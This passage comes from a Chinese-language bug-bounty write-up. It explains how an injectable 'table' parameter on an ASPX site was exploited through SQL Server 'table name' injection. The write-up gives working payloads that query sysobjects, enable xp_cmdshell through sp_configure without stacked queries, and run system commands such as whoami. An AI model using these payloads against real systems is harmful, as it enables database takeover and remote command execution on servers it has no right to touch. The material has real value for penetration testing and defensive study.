至此，这个注入算搞定了，可以提交了。
02 漏洞二：table头注入第二个分享的案例仍然是注入，sql server table头注入。
有意思的地方在于rce处，利用一个sql server特性我rce了它
某天我挖一个站，发现一个功能点存在注入，是那种很常规的注入，通过查看js，发现了一个接口：
https://xxx.com/1.aspx?plugin=*&action=*&navigationid=1&table={注入点}
我看到了table参数，觉得这可能是sql server table头注入，这是经常做安全测试的一种直觉。
直接输入了sysobject，他大量返回了信息：
Content-Length: 270569
这种情况下，代码的实现很大可能是：
select * from {可控点}
这个时候，我们可以做的事情变得很多，这个注入利用成本很低，他就是个任意sql语句执行漏洞。
继续尝试rce，为了再次确定他是表头注入，可以在可控点处添加where等条件语句，尝试Payload。
sysobjects where xtype='u' #查询数据库中的所有表名
&action=:*******&navigationid=1&table=
sysobjects where xtype='u' HTTP/1.1
很幸运，没任何报错，直接响应了。
Content-Length: 6073
我开始尝试rce，我们都知道sql server rce的条件是需要支持堆叠。
我尝试;waitfor delay '0:0:3';直接报错了，那么大概率可能不支持堆叠查询。
不过这个注入点非常特别，是表头注入，它需要满足一定的条件，即使不支持堆叠，只要权限够高，我们也可以rce。
先开启xp_cmdshell扩展：
sysobjects select 1 if 1=1 execute('EXEC sp_configure ''show advanced options'', 1;RECONFIGURE;EXEC sp_configure ''xp_cmdshell'', 1;RECONFIGURE;')
执行命令：
sysobjects select 1 if 1=1 execute('exec master..xp_cmdshell "whoami"')
直接页面显示了whoami信息：
很快，可以提交漏洞给相关厂商了。
因为是表头注入，所以不需要堆叠了，因为sql server的select支持 select x select x。
sql server容错率很强大，不同类型在一起不会报错，会做自动区分。
